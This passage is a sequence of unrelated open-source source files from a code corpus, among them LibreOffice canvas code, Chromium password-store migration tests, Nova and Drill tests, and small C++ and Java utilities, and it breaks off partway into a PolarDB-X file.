aPoly.append( ::basegfx::B2DPoint( nX0+4,
nY1 ) );
aPoly.append( ::basegfx::B2DPoint( nX0,
nY1 ) );
aPoly.append( ::basegfx::B2DPoint( nX0,
nY1-4 ) );
aPolyPoly.append( aPoly ); aPoly.clear();
aPoly.append( ::basegfx::B2DPoint( nX1-4,
nY1 ) );
aPoly.append( ::basegfx::B2DPoint( nX1,
nY1 ) );
aPoly.append( ::basegfx::B2DPoint( nX1,
nY1-4 ) );
aPolyPoly.append( aPoly );
return aPolyPoly;
}
int calcGradientStepCount( ::basegfx::B2DHomMatrix& rTotalTransform,
const rendering::ViewState& viewState,
const rendering::RenderState& renderState,
const rendering::Texture& texture,
int nColorSteps )
{
// calculate overall texture transformation (directly from
// texture to device space).
::basegfx::B2DHomMatrix aMatrix;
rTotalTransform.identity();
::basegfx::unotools::homMatrixFromAffineMatrix( rTotalTransform,
texture.AffineTransform );
::canvas::tools::mergeViewAndRenderTransform(aMatrix,
viewState,
renderState);
rTotalTransform *= aMatrix; // prepend total view/render transformation
// determine size of gradient in device coordinate system
// (to e.g. determine sensible number of gradient steps)
::basegfx::B2DPoint aLeftTop( 0.0, 0.0 );
::basegfx::B2DPoint aLeftBottom( 0.0, 1.0 );
::basegfx::B2DPoint aRightTop( 1.0, 0.0 );
::basegfx::B2DPoint aRightBottom( 1.0, 1.0 );
aLeftTop *= rTotalTransform;
aLeftBottom *= rTotalTransform;
aRightTop *= rTotalTransform;
aRightBottom*= rTotalTransform;
// longest line in gradient bound rect
const int nGradientSize(
static_cast<int>(
::std::max(
::basegfx::B2DVector(aRightBottom-aLeftTop).getLength(),
::basegfx::B2DVector(aRightTop-aLeftBottom).getLength() ) + 1.0 ) );
// typical number for pixel of the same color (strip size)
const int nStripSize( nGradientSize < 50 ? 2 : 4 );
// use at least three steps, and at utmost the number of color
// steps
return ::std::max( 3,
::std::min(
nGradientSize / nStripSize,
nColorSteps ) );
}
} // namespace tools
} // namespace canvas
| 27,040 |
713 | <reponame>franz1981/infinispan
package org.infinispan.cli.resources;
import java.io.IOException;
import org.infinispan.cli.logging.Messages;
/**
* @author <NAME> <<EMAIL>>
* @since 10.0
**/
public class SchemasResource extends AbstractResource {
public static final String NAME = "schemas";
protected SchemasResource(Resource parent) {
super(parent, NAME);
}
@Override
public Iterable<String> getChildrenNames() throws IOException {
return getConnection().getAvailableSchemas(getParent().getName());
}
@Override
public Resource getChild(String name) {
if (Resource.PARENT.equals(name)) {
return parent;
} else {
throw Messages.MSG.noSuchResource(name);
}
}
@Override
public boolean isLeaf() {
return true;
}
@Override
public String describe() throws IOException {
return NAME;//TODO
}
}
| 336 |
488 | #include <iostream>
#include <list>
#include <stdlib.h>
#include <time.h>
#include <omp.h>
#include <unistd.h>
using namespace std;
class httpRequest
{
public:
int i;
};
#define LARGE_NUMBER 100
//#define LARGE_NUMBER 1000000
list<httpRequest> request_queue (LARGE_NUMBER);
void process ( httpRequest input)
{
// printf("processing %d by thread %d ...\n", input.i, omp_get_thread_num());
cout<<"processed by thread "<<omp_get_thread_num();
//unsigned int cost = rand()%3;
unsigned int cost = 1; // constant cost for simplicity
sleep(cost);
// printf("Took %d seconds.\n", cost);
}
int
main ()
{
srand (time (NULL));
list<httpRequest>::iterator i;
#pragma omp parallel
{
#pragma omp single
for (std::list<httpRequest>::iterator i = request_queue.begin(); i!=request_queue.end();i++)
{
#pragma omp task
process (*i);
}
}
}
| 333 |
545 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "orc/orc-config.hh"
#include "orc/OrcFile.hh"
#include "ToolTest.hh"
#include "wrap/orc-proto-wrapper.hh"
#include "wrap/gtest-wrapper.h"
#include <cerrno>
#include <iostream>
#include <sstream>
#include <string>
#include <vector>
namespace {
const char *exampleDirectory = 0;
const char *buildDirectory = 0;
}
GTEST_API_ int main(int argc, char **argv) {
GOOGLE_PROTOBUF_VERIFY_VERSION;
std::cout << "ORC version: " << ORC_VERSION << "\n";
if (argc >= 2) {
exampleDirectory = argv[1];
} else {
exampleDirectory = "../examples";
}
if (argc >= 3) {
buildDirectory = argv[2];
} else {
buildDirectory = ".";
}
std::cout << "example dir = " << exampleDirectory << "\n";
if (buildDirectory) {
std::cout << "build dir = " << buildDirectory << "\n";
}
testing::InitGoogleTest(&argc, argv);
int result = RUN_ALL_TESTS();
google::protobuf::ShutdownProtobufLibrary();
return result;
}
/**
* Run the given program and set the stdout and stderr parameters to
* the output on each of the streams. The return code of the program is
* returned as the result.
*/
int runProgram(const std::vector<std::string> &args,
std::string &out,
std::string &err) {
std::ostringstream command;
std::copy(args.begin(), args.end(),
std::ostream_iterator<std::string>(command, " "));
testing::internal::CaptureStdout();
testing::internal::CaptureStderr();
int status = system(command.str().c_str());
out = testing::internal::GetCapturedStdout();
err = testing::internal::GetCapturedStderr();
return WEXITSTATUS(status);
}
/**
* Get the name of the given example file.
* @param name the simple name of the example file
*/
std::string findExample(const std::string &name) {
std::string result = exampleDirectory;
result += "/";
result += name;
return result;
}
/**
* Get the name of the given executable.
* @param name the simple name of the executable
*/
std::string findProgram(const std::string &name) {
std::string result = buildDirectory;
result += "/";
result += name;
return result;
}
| 942 |
1,184 | #include<bits/stdc++.h>
using namespace std;
bool isPalindrome(string cad){
int len = cad.size();
for(int i=0; i<len/2; i++) {
if(cad[i] != cad[len-i-1])
return false;
}
return true;
}
int main(){
vector<string> test={"ana","anna","hello", "alula"};;
string cad;
for(int i=0; i<test.size(); ++i) {
cad = test[i];
cout<<"is '"<<cad<<"' palindrome? "<<(isPalindrome(cad)? "Yes": "No")<<endl;
}
return 0;
}
| 204 |
14,668 | <filename>components/password_manager/core/browser/password_store_backend_migration_decorator_unittest.cc
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/password_manager/core/browser/password_store_backend_migration_decorator.h"
#include "base/callback.h"
#include "base/callback_helpers.h"
#include "base/memory/raw_ptr.h"
#include "base/test/mock_callback.h"
#include "base/test/scoped_feature_list.h"
#include "base/test/task_environment.h"
#include "components/password_manager/core/browser/mock_password_store_backend.h"
#include "components/password_manager/core/browser/password_manager_test_utils.h"
#include "components/password_manager/core/common/password_manager_features.h"
#include "components/password_manager/core/common/password_manager_pref_names.h"
#include "components/prefs/pref_registry.h"
#include "components/prefs/pref_registry_simple.h"
#include "components/prefs/testing_pref_service.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace password_manager {
namespace {
using ::testing::WithArg;
using ::testing::WithArgs;
} // namespace
class PasswordStoreBackendMigrationDecoratorTest : public testing::Test {
protected:
PasswordStoreBackendMigrationDecoratorTest() = default;
void Init(base::RepeatingCallback<bool()> is_sync_enabled) {
feature_list_.InitAndEnableFeatureWithParameters(
/*enabled_feature=*/features::kUnifiedPasswordManagerMigration,
{{"migration_version", "1"}});
backend_migration_decorator_ =
std::make_unique<PasswordStoreBackendMigrationDecorator>(
CreateBuiltInBackend(), CreateAndroidBackend(), &prefs_,
std::move(is_sync_enabled));
}
~PasswordStoreBackendMigrationDecoratorTest() override {
backend_migration_decorator()->Shutdown(base::DoNothing());
}
PasswordStoreBackend* backend_migration_decorator() {
return backend_migration_decorator_.get();
}
MockPasswordStoreBackend* built_in_backend() { return built_in_backend_; }
MockPasswordStoreBackend* android_backend() { return android_backend_; }
TestingPrefServiceSimple& prefs() { return prefs_; }
void RunUntilIdle() { task_env_.RunUntilIdle(); }
private:
std::unique_ptr<PasswordStoreBackend> CreateBuiltInBackend() {
auto unique_backend = std::make_unique<MockPasswordStoreBackend>();
built_in_backend_ = unique_backend.get();
return unique_backend;
}
std::unique_ptr<PasswordStoreBackend> CreateAndroidBackend() {
auto unique_backend = std::make_unique<MockPasswordStoreBackend>();
android_backend_ = unique_backend.get();
return unique_backend;
}
base::test::SingleThreadTaskEnvironment task_env_;
base::test::ScopedFeatureList feature_list_;
TestingPrefServiceSimple prefs_;
raw_ptr<MockPasswordStoreBackend> built_in_backend_;
raw_ptr<MockPasswordStoreBackend> android_backend_;
std::unique_ptr<PasswordStoreBackendMigrationDecorator>
backend_migration_decorator_;
};
TEST_F(PasswordStoreBackendMigrationDecoratorTest,
MigrationPreferenceClearedWhenSyncDisabled) {
// Set up pref to indicate that initial migration is finished.
prefs().registry()->RegisterIntegerPref(
prefs::kCurrentMigrationVersionToGoogleMobileServices, 2);
base::MockCallback<base::OnceCallback<void(bool)>> mock_completion_callback;
base::MockCallback<base::RepeatingCallback<bool()>> is_sync_enabled_callback_;
base::RepeatingClosure sync_status_changed_closure;
Init(is_sync_enabled_callback_.Get());
EXPECT_CALL(mock_completion_callback, Run(/*success=*/true));
EXPECT_CALL(*built_in_backend(), InitBackend)
.WillOnce(WithArgs<1, 2>(
[&sync_status_changed_closure](auto sync_status_changed,
auto completion_callback) {
std::move(completion_callback).Run(/*success=*/true);
// Capture |sync_enabled_or_disabled_cb| passed to the
// build_in_backend.
sync_status_changed_closure = std::move(sync_status_changed);
}));
EXPECT_CALL(*android_backend(), InitBackend)
.WillOnce(WithArg<2>([](auto completion_callback) {
std::move(completion_callback).Run(/*success=*/true);
}));
backend_migration_decorator()->InitBackend(
/*remote_form_changes_received=*/base::DoNothing(),
/*sync_enabled_or_disabled_cb=*/base::DoNothing(),
/*completion=*/mock_completion_callback.Get());
// Invoke sync callback to simulate a change in sync status. Set expectation
// for sync to be turned off.
EXPECT_CALL(is_sync_enabled_callback_, Run())
.WillOnce(testing::Return(false));
sync_status_changed_closure.Run();
RunUntilIdle();
// Since sync was disabled pref value for migration version should be reset.
EXPECT_EQ(0, prefs().GetInteger(
prefs::kCurrentMigrationVersionToGoogleMobileServices));
}
TEST_F(PasswordStoreBackendMigrationDecoratorTest,
LocalAndroidPasswordsClearedWhenSyncEnabled) {
base::MockCallback<base::OnceCallback<void(bool)>> mock_completion_callback;
base::MockCallback<base::RepeatingCallback<bool()>> is_sync_enabled_callback_;
base::RepeatingClosure sync_status_changed_closure;
Init(is_sync_enabled_callback_.Get());
EXPECT_CALL(mock_completion_callback, Run(/*success=*/true));
EXPECT_CALL(*built_in_backend(), InitBackend)
.WillOnce(WithArgs<1, 2>(
[&sync_status_changed_closure](auto sync_status_changed,
auto completion_callback) {
std::move(completion_callback).Run(/*success=*/true);
// Capture |sync_enabled_or_disabled_cb| passed to the
// build_in_backend.
sync_status_changed_closure = std::move(sync_status_changed);
}));
EXPECT_CALL(*android_backend(), InitBackend)
.WillOnce(WithArg<2>([](auto completion_callback) {
std::move(completion_callback).Run(/*success=*/true);
}));
backend_migration_decorator()->InitBackend(
/*remote_form_changes_received=*/base::DoNothing(),
/*sync_enabled_or_disabled_cb=*/base::DoNothing(),
/*completion=*/mock_completion_callback.Get());
// Invoke sync callback to simulate a change in sync status. Set expectation
// for sync to be turned off.
EXPECT_CALL(is_sync_enabled_callback_, Run()).WillOnce(testing::Return(true));
EXPECT_CALL(*android_backend(), ClearAllLocalPasswords);
sync_status_changed_closure.Run();
RunUntilIdle();
}
} // namespace password_manager
| 2,404 |
30,023 | <reponame>liangleslie/core
"""Constants for the Raspberry Pi integration."""
DOMAIN = "raspberry_pi"
| 33 |
1,376 | from datetime import datetime
import pytest
from .models import db, User
pytestmark = pytest.mark.asyncio
async def test_compiled_and_bindparam(bind):
async with db.acquire() as conn:
# noinspection PyArgumentList
ins = await conn.prepare(
User.insert().returning(*User).execution_options(loader=User)
)
users = {}
for name in "12345":
u = await ins.first(name=name)
assert u.nickname == name
users[u.id] = u
get = await conn.prepare(User.query.where(User.id == db.bindparam("uid")))
for key in users:
u = await get.first(uid=key)
assert u.nickname == users[key].nickname
assert (await get.all(uid=key))[0].nickname == u.nickname
assert await get.scalar(uid=-1) is None
with pytest.raises(ValueError, match="does not support multiple"):
await get.all([dict(uid=1), dict(uid=2)])
delete = await conn.prepare(
User.delete.where(User.nickname == db.bindparam("name"))
)
for name in "12345":
msg = await delete.status(name=name)
assert msg == "DELETE 1"
async def test_statement(engine):
async with engine.acquire() as conn:
stmt = await conn.prepare("SELECT now()")
last = None
for i in range(5):
now = await stmt.scalar()
assert isinstance(now, datetime)
assert last != now
last = now
| 690 |
1,510 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.drill.exec.store.log;
import static org.junit.Assert.assertEquals;
import java.io.File;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.drill.categories.EvfTest;
import org.apache.drill.common.exceptions.UserRemoteException;
import org.apache.drill.common.logical.FormatPluginConfig;
import org.apache.drill.common.types.TypeProtos.MinorType;
import org.apache.drill.exec.physical.rowSet.RowSet;
import org.apache.drill.exec.physical.rowSet.RowSetBuilder;
import org.apache.drill.exec.record.metadata.SchemaBuilder;
import org.apache.drill.exec.record.metadata.TupleMetadata;
import org.apache.drill.exec.store.easy.text.compliant.BaseCsvTest;
import org.apache.drill.shaded.guava.com.google.common.collect.Lists;
import org.apache.drill.test.QueryBuilder;
import org.apache.drill.test.QueryBuilder.QuerySummary;
import org.apache.drill.test.rowSet.RowSetComparison;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.experimental.categories.Category;
@Category(EvfTest.class)
public class TestLogReaderIssue extends BaseCsvTest {
private static String[] mock_issue7853 = {
"h2 2021-01-23T23:55:00.664544Z app/alb/abc123",
"h2 2021-01-23T23:55:00.666170Z app/alb/abc123"
};
private static String regex_issue7853 = "(\\w{2,})" // type field
+ " " // white space
+ "(\\d{4}-\\d{2}-\\w{5}:\\d{2}:\\d{2}.\\d{6}\\w)" // time field
+ ".*?";
@BeforeClass
public static void setup() throws Exception {
BaseCsvTest.setup(false, false);
File rootDir = new File(testDir, PART_DIR);
rootDir.mkdir();
buildFile(new File(rootDir, "issue7853.log"), mock_issue7853);
buildFile(new File(rootDir, "issue7853.log2"), mock_issue7853);
Map<String, FormatPluginConfig> formats = new HashMap<>();
formats.put("log", issue7853Config());
formats.put("log2", issue7853UseValidDatetimeFormatConfig());
cluster.defineFormats("dfs", formats);
}
// DRILL-7853
private static LogFormatConfig issue7853Config() {
List<LogFormatField> schema = Lists.newArrayList(
new LogFormatField("type", "VARCHAR"),
new LogFormatField("time", "TIMESTAMP", "yyyy-MM-dd'T'HH:mm:ss.SSSSSS'Z'")); // valid
return new LogFormatConfig(regex_issue7853, "log", null, schema);
}
// DRILL-7853
private static LogFormatConfig issue7853UseValidDatetimeFormatConfig() {
List<LogFormatField> schema = Lists.newArrayList(
new LogFormatField("type", "VARCHAR"),
new LogFormatField("time", "TIMESTAMP", "yyyy-MM-dd''T''HH:mm:ss.SSSSSSZ")); // invalid
return new LogFormatConfig(regex_issue7853, "log2", null, schema);
}
@Test
public void testIssue7853UseValidDatetimeFormat() throws Exception {
String sql = "SELECT type, `time` FROM `dfs.data`.`root/issue7853.log`";
QueryBuilder builder = client.queryBuilder().sql(sql);
RowSet sets = builder.rowSet();
TupleMetadata schema = new SchemaBuilder()
.addNullable("type", MinorType.VARCHAR)
.addNullable("time", MinorType.TIMESTAMP)
.buildSchema();
RowSet expected = new RowSetBuilder(client.allocator(), schema)
.addRow("h2", 1611446100664L)
.addRow("h2", 1611446100666L)
.build();
new RowSetComparison(expected).verifyAndClearAll(sets);
}
@Test
public void testIssue7853() throws Exception {
thrownException.expect(UserRemoteException.class);
thrownException.expectMessage("is not valid for type TIMESTAMP");
String sql = "SELECT type, `time` FROM `dfs.data`.`root/issue7853.log2`";
QuerySummary result = client.queryBuilder().sql(sql).run();
assertEquals(2, result.recordCount());
}
}
| 1,692 |
1,411 | #include <type_traits>
#include <sparsehash/dense_hash_map>
#include <sparsehash/dense_hash_set>
#include <fc/io/raw.hpp>
namespace fc { namespace raw {
template<typename T>
class StreamWrapper {
public:
StreamWrapper(T& s) : s_(s) {}
public:
size_t
Write(const void* data, size_t sz) {
s_.write((const char*)data, sz);
return sz;
}
size_t
Read(void* data, size_t sz) {
s_.read((char*)data, sz);
return sz;
}
public:
T& underlying_stream() { return s_; }
private:
T& s_;
};
template<typename Stream, typename K, typename V, typename ... Others>
inline void
pack(Stream& s, const google::dense_hash_map<K, V, Others...>& map) {
FC_ASSERT(map.size() <= MAX_NUM_ARRAY_ELEMENTS);
// hack here, remove const qualifier
auto& m = const_cast<google::dense_hash_map<K, V, Others...>&>(map);
auto b = StreamWrapper<Stream>(s);
m.serialize([](auto ps, auto& v) {
fc::raw::pack(ps->underlying_stream(), v);
return true;
}, &b);
}
template<typename Stream, typename K, typename V, typename ... Others>
inline void
unpack(Stream& s, google::dense_hash_map<K, V, Others...>& map) {
return;
}
}} // namespace fc | 527 |
2,151 | <filename>components/exo/keyboard_observer.h
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_EXO_KEYBOARD_OBSERVER_H_
#define COMPONENTS_EXO_KEYBOARD_OBSERVER_H_
namespace exo {
class Keyboard;
// Observers to the Keyboard are notified when the Keyboard destructs.
class KeyboardObserver {
public:
virtual ~KeyboardObserver() {}
// Called at the top of the keyboard's destructor, to give observers a change
// to remove themselves.
virtual void OnKeyboardDestroying(Keyboard* keyboard) = 0;
};
} // namespace exo
#endif // COMPONENTS_EXO_KEYBOARD_OBSERVER_H_
| 228 |
1,874 | #
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nova.objects import instance_numa as numa
from nova.objects import virt_cpu_topology as cpu_topo
from nova.tests.functional.api_sample_tests import test_servers
def fake_get_numa():
cpu_info = {'sockets': 2, 'cores': 1, 'threads': 2}
cpu_topology = cpu_topo.VirtCPUTopology.from_dict(cpu_info)
cell_0 = numa.InstanceNUMACell(node=0, memory=1024, pagesize=4, id=0,
cpu_topology=cpu_topology,
cpu_pinning={0: 0, 1: 5},
cpuset=set(),
pcpuset=set([0, 1]))
cell_1 = numa.InstanceNUMACell(node=1, memory=2048, pagesize=4, id=1,
cpu_topology=cpu_topology,
cpu_pinning={2: 1, 3: 8},
cpuset=set(),
pcpuset=set([2, 3]))
return numa.InstanceNUMATopology(cells=[cell_0, cell_1])
class ServerTopologySamplesJson(test_servers.ServersSampleBase):
microversion = '2.78'
scenarios = [('v2_78', {'api_major_version': 'v2.1'})]
sample_dir = "os-server-topology"
def setUp(self):
super(ServerTopologySamplesJson, self).setUp()
def _load_numa(self, *args, **argv):
self.numa_topology = fake_get_numa()
self.stub_out('nova.objects.instance.Instance._load_numa_topology',
_load_numa)
class ServerTopologySamplesJsonTestV278_Admin(ServerTopologySamplesJson):
ADMIN_API = True
def test_get_servers_topology_admin(self):
uuid = self._post_server()
response = self._do_get('servers/%s/topology' % uuid)
self._verify_response(
'servers-topology-resp', {}, response, 200)
class ServerTopologySamplesJsonTestV278(ServerTopologySamplesJson):
ADMIN_API = False
def test_get_servers_topology_user(self):
uuid = self._post_server()
response = self._do_get('servers/%s/topology' % uuid)
self._verify_response(
'servers-topology-resp-user', {}, response, 200)
| 1,052 |
1,293 | /*
* Copyright (c) 2019 - Manifold Systems LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package manifold.ext.structural;
import java.time.chrono.ChronoLocalDateTime;
import java.time.temporal.ChronoField;
import java.time.temporal.ChronoUnit;
import java.util.Date;
import junit.framework.TestCase;
import manifold.ext.extensions.java.time.chrono.ChronoLocalDateTime.Date_To_ChronoLocalDateTime;
/**
* Tests registered IProxyFactory service, see {@link Date_To_ChronoLocalDateTime} and its
* registered service in {@code META-INF/services/manifold.ext.rt.api.IDynamicProxyFactory}
*/
public class ProxyFactoryTest extends TestCase
{
public void testDate_To_ChronoLocalDateTime()
{
//noinspection deprecation
Date from = new Date( 1982, 6, 4 ); // Date month is 0-based
ChronoLocalDateTime castedDate = (ChronoLocalDateTime)from;
assertEquals( Date.class, castedDate.getClass() ); // still a date, only a Chrono upon Chrono invocation
ChronoLocalDateTime newDate = castedDate.plus( 1, ChronoUnit.MONTHS );
assertEquals( 8, newDate.get( ChronoField.MONTH_OF_YEAR ) );
}
}
| 511 |
1,603 | <gh_stars>1000+
package com.linkedin.gms.factory.recommendation.candidatesource;
import com.linkedin.gms.factory.search.EntitySearchServiceFactory;
import com.linkedin.metadata.recommendation.candidatesource.TopTermsSource;
import com.linkedin.metadata.search.EntitySearchService;
import javax.annotation.Nonnull;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Import;
@Configuration
@Import({EntitySearchServiceFactory.class})
public class TopTermsCandidateSourceFactory {
@Autowired
@Qualifier("entitySearchService")
private EntitySearchService entitySearchService;
@Bean(name = "topTermsCandidateSource")
@Nonnull
protected TopTermsSource getInstance() {
return new TopTermsSource(entitySearchService);
}
}
| 283 |
2,151 |
/*
This Java source file was generated by test-to-java.xsl
and is a derived work from the source document.
The source document contained the following notice:
Copyright (c) 2001-2004 World Wide Web Consortium,
(Massachusetts Institute of Technology, Institut National de
Recherche en Informatique et en Automatique, Keio University). All
Rights Reserved. This program is distributed under the W3C's Software
Intellectual Property License. This program is distributed in the
hope that it will be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.
See W3C License http://www.w3.org/Consortium/Legal/ for more details.
*/
package org.w3c.domts.level2.core;
import org.w3c.dom.*;
import org.w3c.domts.DOMTestCase;
import org.w3c.domts.DOMTestDocumentBuilderFactory;
/**
* The "getPrefix()" method for a node
* returns the namespace prefix of this node, or null if it is unspecified.
*
* Retrieve the first emp:employee node and invoke the getPrefix() method."
* The method should return "emp".
* @author NIST
* @author <NAME>
* @see <a href="http://www.w3.org/TR/DOM-Level-2-Core/core#ID-NodeNSPrefix">http://www.w3.org/TR/DOM-Level-2-Core/core#ID-NodeNSPrefix</a>
*/
public final class prefix03 extends DOMTestCase {
/**
* Constructor.
* @param factory document factory, may not be null
* @throws org.w3c.domts.DOMTestIncompatibleException Thrown if test is not compatible with parser configuration
*/
public prefix03(final DOMTestDocumentBuilderFactory factory) throws org.w3c.domts.DOMTestIncompatibleException {
org.w3c.domts.DocumentBuilderSetting[] settings =
new org.w3c.domts.DocumentBuilderSetting[] {
org.w3c.domts.DocumentBuilderSetting.namespaceAware
};
DOMTestDocumentBuilderFactory testFactory = factory.newInstance(settings);
setFactory(testFactory);
//
// check if loaded documents are supported for content type
//
String contentType = getContentType();
preload(contentType, "staffNS", false);
}
/**
* Runs the test case.
* @throws Throwable Any uncaught exception causes test to fail
*/
public void runTest() throws Throwable {
Document doc;
NodeList elementList;
Node testEmployee;
String prefix;
doc = (Document) load("staffNS", false);
elementList = doc.getElementsByTagName("emp:employee");
testEmployee = elementList.item(0);
assertNotNull("empEmployeeNotNull", testEmployee);
prefix = testEmployee.getPrefix();
assertEquals("prefix", "emp", prefix);
}
/**
* Gets URI that identifies the test.
* @return uri identifier of test
*/
public String getTargetURI() {
return "http://www.w3.org/2001/DOM-Test-Suite/level2/core/prefix03";
}
/**
* Runs this test from the command line.
* @param args command line arguments
*/
public static void main(final String[] args) {
DOMTestCase.doMain(prefix03.class, args);
}
}
| 1,068 |
3,102 | <gh_stars>1000+
// RUN: clang-import-test -dump-ast -import %S/Inputs/F.cpp -expression %s | FileCheck %s
void expr() {
f();
}
// CHECK: FunctionDecl 0x{{[^ ]*}} <{{[^>]*}}> line:{{.*}}:{{[^ ]*}} used f 'void ()'
// CHECK: -CallExpr 0x{{[^ ]*}} <{{[^>]*}}> 'void' adl
// CHECK: -CXXOperatorCallExpr 0x{{[^ ]*}} <{{[^>]*}}> 'void' adl
| 159 |
776 | /*
* Copyright 2019-present HiveMQ GmbH
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hivemq.util;
import javax.management.MBeanServer;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
/**
* @author <NAME>
*/
public class HeapDumpUtil {
private static final String HOTSPOT_BEAN_NAME = "com.sun.management:type=HotSpotDiagnostic";
private static final String FILE_NAME = "heap.bin";
private static boolean enabled = false;
public static boolean enabled() {
return enabled;
}
public static void enable() {
HeapDumpUtil.enabled = true;
}
public static void disable() {
HeapDumpUtil.enabled = false;
}
public static void dumpHeapIfEnabled() {
if (enabled) {
dumpHeap();
}
}
private static void dumpHeap() {
try {
final Class clazz = Class.forName("com.sun.management.HotSpotDiagnosticMXBean");
final Method m = clazz.getMethod("dumpHeap", String.class, boolean.class);
final Object hotspotMBean = getHotspotMBean();
m.invoke(hotspotMBean, FILE_NAME, true);
} catch (final Exception ignore) {
}
}
private static Object getHotspotMBean() throws Exception {
final Class clazz = Class.forName("com.sun.management.HotSpotDiagnosticMXBean");
final MBeanServer server = ManagementFactory.getPlatformMBeanServer();
final Object bean =
ManagementFactory.newPlatformMXBeanProxy(server,
HOTSPOT_BEAN_NAME, clazz);
return bean;
}
}
| 786 |
325 | package com.box.l10n.mojito.cli.command.jenkinsstats;
import com.box.l10n.mojito.immutables.NoPrefixNoBuiltinContainer;
import com.fasterxml.jackson.databind.annotation.JsonDeserialize;
import org.immutables.value.Value;
import javax.annotation.Nullable;
@Value.Immutable
@NoPrefixNoBuiltinContainer
@JsonDeserialize(builder = JenkinsJobResult.Builder.class)
public abstract class AbstractJenkinsJobResult {
@Nullable
abstract String getJobName();
abstract long getDuration();
abstract long getId();
abstract long getNumber();
@Nullable
abstract String getResult();
abstract long getTimestamp();
}
| 215 |
14,668 | <filename>components/ota/common/lzma/3rdparty/Alloc.h
/* Alloc.h -- Memory allocation functions
2018-02-19 : <NAME> : Public domain */
#ifndef __COMMON_ALLOC_H
#define __COMMON_ALLOC_H
#include "7zTypes.h"
EXTERN_C_BEGIN
void *MyAlloc(size_t size);
void MyFree(void *address);
#ifdef _WIN32
void SetLargePageSize();
void *MidAlloc(size_t size);
void MidFree(void *address);
void *BigAlloc(size_t size);
void BigFree(void *address);
#else
#define MidAlloc(size) MyAlloc(size)
#define MidFree(address) MyFree(address)
#define BigAlloc(size) MyAlloc(size)
#define BigFree(address) MyFree(address)
#endif
extern const ISzAlloc g_Alloc;
extern const ISzAlloc g_BigAlloc;
extern const ISzAlloc g_MidAlloc;
extern const ISzAlloc g_AlignedAlloc;
typedef struct
{
ISzAlloc vt;
ISzAllocPtr baseAlloc;
unsigned numAlignBits; /* ((1 << numAlignBits) >= sizeof(void *)) */
size_t offset; /* (offset == (k * sizeof(void *)) && offset < (1 << numAlignBits) */
} CAlignOffsetAlloc;
void AlignOffsetAlloc_CreateVTable(CAlignOffsetAlloc *p);
EXTERN_C_END
#endif
| 432 |
351 | from transmute import InventoryCollection
class TestInventory:
def test_inventory(self):
x = InventoryCollection()
x.append("Gem1", (2, 3))
assert(x.count() == 1)
x.append("Gem2", (2, 4))
assert(x.count() == 2)
x.pop("Gem2")
assert(x.count() == 1)
assert(x.count_by("Gem2") == 0)
| 170 |
480 | /*
* Copyright [2013-2021], Alibaba Group Holding Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.polardbx.optimizer.core.field;
import com.alibaba.polardbx.common.charset.CharsetName;
import com.alibaba.polardbx.common.utils.time.MySQLTimeTypeUtil;
import com.alibaba.polardbx.common.utils.time.core.MysqlDateTime;
import com.alibaba.polardbx.optimizer.core.datatype.DataType;
import com.alibaba.polardbx.optimizer.core.datatype.LongType;
